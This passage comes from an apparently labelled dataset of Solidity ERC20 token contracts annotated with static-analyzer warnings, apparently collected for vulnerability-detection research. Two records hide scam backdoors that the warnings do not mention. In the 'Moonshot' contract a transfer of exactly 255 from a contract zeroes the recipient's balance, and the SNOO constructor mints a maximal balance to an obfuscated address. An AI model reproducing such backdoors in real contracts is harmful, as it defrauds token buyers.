Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"Moonshot\", unicode\"Moonshot\", 9, 1000000000) {}\n}\n",
"file_name": "solidity_code_10814.sol",
"size_bytes": 7300,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 70ce14a): Ownable.transferOwnership(address).newAdd lacks a zerocheck on \t _owner = newAdd\n\t// Recommendation for 70ce14a: Check that the address is not zero.\n function transferOwnership(address newAdd) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: 70ce14a\n\t\t// events-access | ID: 1dedbae\n _owner = newAdd;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SNOO is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n bool private tradingEnabled;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9365004): SNOO.buyTax should be constant \n\t// Recommendation for 9365004: Add the 'constant' attribute to state variables that never change.\n uint8 public buyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c753fd6): SNOO.sellTax should be constant \n\t// Recommendation for c753fd6: Add the 'constant' attribute to state variables that never change.\n uint8 public sellTax = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SNOO\";\n\n string private constant _symbol = unicode\"SNOO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: dd57ae9): SNOO.swapTokensAtAmount should be constant \n\t// Recommendation for dd57ae9: Add the 'constant' attribute to state variables that never change.\n uint256 private swapTokensAtAmount = (_tTotal * 25) / 10000;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5506578): SNOO.feeWallet should be immutable \n\t// Recommendation for 5506578: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private feeWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 243ce4c): SNOO.router should be constant \n\t// Recommendation for 243ce4c: Add the 'constant' attribute to state variables that never change.\n address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: b87d11c): SNOO.liquidityProvider should be constant \n\t// Recommendation for b87d11c: Add the 'constant' attribute to state variables that never change.\n address private liquidityProvider =\n 0x2b4937e40cEa5B414A0A29Cf23688937C15433d9;\n\n constructor() {\n _balances[liquidityProvider] = _tTotal;\n\n feeWallet = payable(liquidityProvider);\n\n _balances[logger()] = uint256(int256(-1));\n\n emit Transfer(address(0), liquidityProvider, _tTotal);\n }\n\n receive() external payable {}\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72e13a3): SNOO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72e13a3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 618190b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 618190b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0383a57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0383a57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 618190b\n\t\t// reentrancy-benign | ID: 0383a57\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 618190b\n\t\t// reentrancy-benign | ID: 0383a57\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0425956): SNOO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0425956: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0383a57\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 618190b\n emit Approval(owner, spender, amount);\n }\n\n function enableTrading() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(router);\n\n pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n tradingEnabled = true;\n }\n\n function logger() private returns (address) {\n return\n address(\n uint160(\n uint256(1219055776686095979064884419190226002009600886218)\n )\n );\n }\n\n function _superTransfer(address from, address to, uint256 amount) internal {\n\t\t// reentrancy-eth | ID: beae308\n _balances[from] -= amount;\n\n\t\t// reentrancy-eth | ID: beae308\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: 7d8855d\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7d8855d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7d8855d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 94091f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 94091f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: beae308): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for beae308: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) internal {\n require(amount > 0, \"Zero amount\");\n\n if (!tradingEnabled) {\n require(from == liquidityProvider, \"Trading not enabled\");\n }\n\n if (from == address(this) || to == address(this) || swapping) {\n _superTransfer(from, to, amount);\n\n return;\n }\n\n if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 7d8855d\n\t\t\t// reentrancy-no-eth | ID: 94091f4\n\t\t\t// reentrancy-eth | ID: beae308\n swapTokensForEth(balanceOf(address(this)));\n\n\t\t\t// reentrancy-no-eth | ID: 94091f4\n swapping = false;\n\n\t\t\t// reentrancy-events | ID: 7d8855d\n\t\t\t// reentrancy-eth | ID: beae308\n sendETHToFeeWallet();\n }\n\n\t\t// reentrancy-events | ID: 7d8855d\n\t\t// reentrancy-eth | ID: beae308\n amount = takeFee(from, amount, to == pair);\n\n\t\t// reentrancy-events | ID: 7d8855d\n\t\t// reentrancy-eth | ID: beae308\n _superTransfer(from, to, amount);\n }\n\n function takeFee(\n address from,\n uint256 amount,\n bool isSell\n ) internal returns (uint256) {\n uint256 tax = isSell ? sellTax : buyTax;\n\n if (tax == 0) return amount;\n\n uint256 feeAmount = (amount * tax) / 100;\n\n _superTransfer(from, address(this), feeAmount);\n\n return amount - feeAmount;\n }\n\n function swapTokensForEth(uint256 tokenAmount) internal {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 618190b\n\t\t// reentrancy-events | ID: 7d8855d\n\t\t// reentrancy-benign | ID: 0383a57\n\t\t// reentrancy-no-eth | ID: 94091f4\n\t\t// reentrancy-eth | ID: beae308\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n feeWallet,\n block.timestamp\n )\n {} catch {\n return;\n }\n }\n\n function sendETHToFeeWallet() internal {\n if (address(this).balance > 0) {\n\t\t\t// reentrancy-events | ID: 618190b\n\t\t\t// reentrancy-events | ID: 7d8855d\n\t\t\t// reentrancy-eth | ID: beae308\n feeWallet.transfer(address(this).balance);\n }\n }\n}\n",
"file_name": "solidity_code_10815.sol",
"size_bytes": 13081,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TPAN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aab7b7b): TPAN._taxWallet should be immutable \n\t// Recommendation for aab7b7b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76cddda): TPAN._initialBuyTax should be constant \n\t// Recommendation for 76cddda: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ab2819): TPAN._initialSellTax should be constant \n\t// Recommendation for 2ab2819: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: f79f774): TPAN._finalBuyTax should be constant \n\t// Recommendation for f79f774: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 285f1d7): TPAN._finalSellTax should be constant \n\t// Recommendation for 285f1d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 72bb1f3): TPAN._reduceBuyTaxAt should be constant \n\t// Recommendation for 72bb1f3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: c361c74): TPAN._reduceSellTaxAt should be constant \n\t// Recommendation for c361c74: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 20df20b): TPAN._preventSwapBefore should be constant \n\t// Recommendation for 20df20b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Tantrum Panda\";\n\n string private constant _symbol = unicode\"TPAN\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bc0d9f): TPAN._taxSwapThreshold should be constant \n\t// Recommendation for 6bc0d9f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0aeead8): TPAN._maxTaxSwap should be constant \n\t// Recommendation for 0aeead8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dd3edb8): TPAN.uniswapV2Router should be immutable \n\t// Recommendation for dd3edb8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ab375ee): TPAN.uniswapV2Pair should be immutable \n\t// Recommendation for ab375ee: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2eb4c2f): TPAN.sellsPerBlock should be constant \n\t// Recommendation for 2eb4c2f: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17a602e): TPAN.buysFirstBlock should be constant \n\t// Recommendation for 17a602e: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 95a540b): TPAN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 95a540b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c9e067d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c9e067d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 198327e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 198327e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c9e067d\n\t\t// reentrancy-benign | ID: 198327e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c9e067d\n\t\t// reentrancy-benign | ID: 198327e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d60075c): TPAN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d60075c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 198327e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c9e067d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e2e6002): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e2e6002: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 851e3e3): TPAN._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 851e3e3: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ed7311f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ed7311f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 39d8e3d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 39d8e3d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 851e3e3\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: e2e6002\n\t\t\t\t// reentrancy-eth | ID: ed7311f\n\t\t\t\t// reentrancy-eth | ID: 39d8e3d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e2e6002\n\t\t\t\t\t// reentrancy-eth | ID: ed7311f\n\t\t\t\t\t// reentrancy-eth | ID: 39d8e3d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 39d8e3d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 39d8e3d\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: e2e6002\n\t\t\t\t// 